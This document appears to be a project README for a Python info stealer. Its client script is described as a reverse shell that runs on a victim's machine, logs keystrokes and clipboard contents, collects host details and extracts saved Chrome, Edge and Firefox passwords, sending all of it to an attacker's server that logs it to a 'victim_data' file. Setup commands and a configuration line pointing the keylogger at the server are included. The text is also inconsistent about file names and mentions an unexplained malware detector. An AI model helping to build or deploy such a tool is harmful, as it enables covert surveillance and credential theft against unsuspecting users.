simple info stealer Project

This project consists of a reverse shell implementation with keylogging capabilities. It involves two main components: a client script (reversShell.py) that runs on the target machine and sends data back to a server, and a server script (server.py) that receives and logs the data sent by the client.

Features

1. Socket Communication:

   • Establishes a socket connection between the client and the server.
   • Sends data from the client to the server.

2. Keylogging:

   • Captures keystrokes on the client machine.
   • Sends captured keystrokes to the server.

3. Clipboard Data:

   • Captures clipboard data from the client machine.
   • Sends clipboard data to the server.

4. Host Information:

   • Gathers detailed information about the host machine, including:
     • Hostname
     • Private and public IP addresses
     • Processor information
     • Operating system details
     • Disk usage
     • Memory usage
   • Sends host information to the server.

5. Password Stealing:

   • Extracts saved passwords from browsers (Chrome, Edge, Firefox).
   • Sends extracted passwords to the server.

Requirements

• Python 3.x
• Required Python libraries:
  • pynput
  • requests
  • psutil
  • pywin32

Install the required libraries using pip:

the reverseshell install the modules

Usage

Setting up the Server

1. Run the server script:

   python server.py

   This script starts the server, listens for incoming connections, and logs keystrokes received from clients into a file (./victim_data.txt).

Running the Keylogger Client

1. Configure the Keylogger Client:

   Modify client.py with the IP address and port of your server:

   ke = Keylogger("server_ip", 9999)  # Replace with your server's IP and port

2. Run the keylogger client script:

   python reverseShell.py

   This script connects to the specified server and starts capturing keystrokes. It also gathers browser data and system information, sending all collected data to the server for logging.

Troubleshooting

• File Permissions: Ensure the server has write permissions for the ./victim_data.txt file in the project directory.

Acknowledgments

• Thanks to the developers of pynput, socket, sqlite3, requests, psutil, platform, pathlib, shutil, rarfile, and hashlib libraries/modules for their contributions.

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Ensure to adjust the IP address, port number, and paths in the scripts (reverseShell.py and server.py) according to your setup. This README provides a comprehensive overview of your keylogger project, including how it captures browser data, system information, and its integration with the malware detector functionality.